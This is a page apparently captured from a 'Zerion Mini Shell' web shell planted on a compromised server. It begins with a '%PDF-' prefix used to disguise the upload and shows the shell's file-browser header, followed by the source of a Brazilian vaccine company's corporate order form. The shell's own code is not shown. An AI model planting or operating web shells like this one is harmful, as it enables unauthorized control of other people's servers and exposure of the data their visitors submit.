%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/app/unidades/comercial/html/
Upload File :
Create Path :
Current File : /home/vacivi36/app/unidades/comercial/html/index.php

<!doctype html>
<html>

<head>
    <meta charset='utf-8'>
    <meta name='viewport' content='width=device-width, initial-scale=1'>
    <title>Vacivitta</title>
    <link href='https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css' rel='stylesheet'>
    <link href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.0.3/css/font-awesome.css' rel='stylesheet'>
    <script type='text/javascript' src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js'></script>
    <style>
        .bg {
            width: 100%;
            height: auto;
            min-height: 100vh;
            background-image: url(dist/images/bg.png);
            background-size: 100% 100%;
            background-position: top center
        }
        
        .content {
            margin-top: 20%
        }
        
        .centered {
            position: absolute;
            top: 60%;
            left: 50%;
            transform: translate(-50%, -50%)
        }
        
        .ImgStyle {
            width: 30%;
            margin-top: -30%;
            margin-left: -98%;
        }
        
        .ImgStyleLogo {
            width: 35%;
            margin-left: -2%;
            margin-top: -10%;
        }
        
        .InputStyle {
            border-radius: 25px;
            border: solid 1px #ffb000;
            background-color: #ffb000;
            width: 300px;
            padding: 10px 20px
        }
        
        input,
        input::-webkit-input-placeholder {
            font-size: 12px;
            color: white
        }
        
        .social-btn {
            position: absolute;
            bottom: 20px;
            left: 47%
        }
        
        i {
            padding: 5px;
            color: white
        }
        
        input,
        input:focus {
            border: solid 1px white;
            outline: 0;
            -webkit-appearance: none;
            box-shadow: nones;
            -moz-box-shadow: none;
            -webkit-box-shadow: none
        }
        
        .secondLine {
            font-weight: 350;
            font-size: 15px;
            margin-bottom: 15%;
            color: white
        }
        
        .firstLine {
            font-size: 30px;
            color: white
        }
        
        @media only screen and (max-width: 600px) {
            .firstLine {
                font-size: 20px
            }
            .ImgStyle {
                width: 70%;
                margin-left: 0%;
                margin-top: 30px;
            }
            .ImgStyleLogo {
                display: none;
            }
            .centered {
                position: absolute;
                top: 85%;
                left: 50%;
                transform: translate(-50%, -50%)
            }
            .bg {
                width: 100%;
                height: auto;
                min-height: 150vh;
                background-image: url(dist/images/bg.png);
                background-size: 150% 40%;
                background-position: top center;
            }
        }
    </style>
</head>

<body oncontextmenu='return false' class='snippet-body'>
    <!--Div for Background-->
    <div class="bg text-center">
        <!--Div for Centered Text & Input-->
        <img src="dist/images/logo.png" class="ImgStyleLogo">
        <img src="dist/images/gripe.png" class="ImgStyle">

        <div class="centered">
            <form action="processa.php" method="POST ">
                <p> <input id="colab" name="colab" class="InputStyle" placeholder="Quantidade de Colaboradores: " style="font-family:Arial, FontAwesome"> </p>
                <p> <input id="doses" name="doses" class="InputStyle" placeholder="Quantidade de doses: " style="font-family:Arial, FontAwesome"> </p>
                <p> <input id="empresa" name="empresa" class="InputStyle" placeholder="Empresa: " style="font-family:Arial, FontAwesome"> </p>
                <p> <input id="cnpj" name="cnpj" class="InputStyle" placeholder="CNPJ: " style="font-family:Arial, FontAwesome"> </p>
                <p> <input id="nome" name="nome" class="InputStyle" placeholder="Nome: " style="font-family:Arial, FontAwesome"> </p>
                <p> <input id="telefone" name="telefone" class="InputStyle" placeholder="Telefone " style="font-family:Arial, FontAwesome"> </p>
                <p> <input id="email" name="email" class="InputStyle" placeholder="E-mail: " style="font-family:Arial, FontAwesome"> </p>
                <p> <input id="celular" name="celular" class="InputStyle" placeholder="Celular: " style="font-family:Arial, FontAwesome"> </p>
                <p> <input id="cidade" name="cidade" class="InputStyle" placeholder="Cidade/Estado: " style="font-family:Arial, FontAwesome"> </p>
                <button type="submit" class="btn btn-warning">Enviar</button>
            </form>
        </div>
        <!--Div for bottom Icons-->
    </div>
    </div>
    <script type='text/javascript' src='https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.bundle.min.js'></script>
    <script type='text/javascript'></script>
</body>

</html>

Zerion Mini Shell 1.0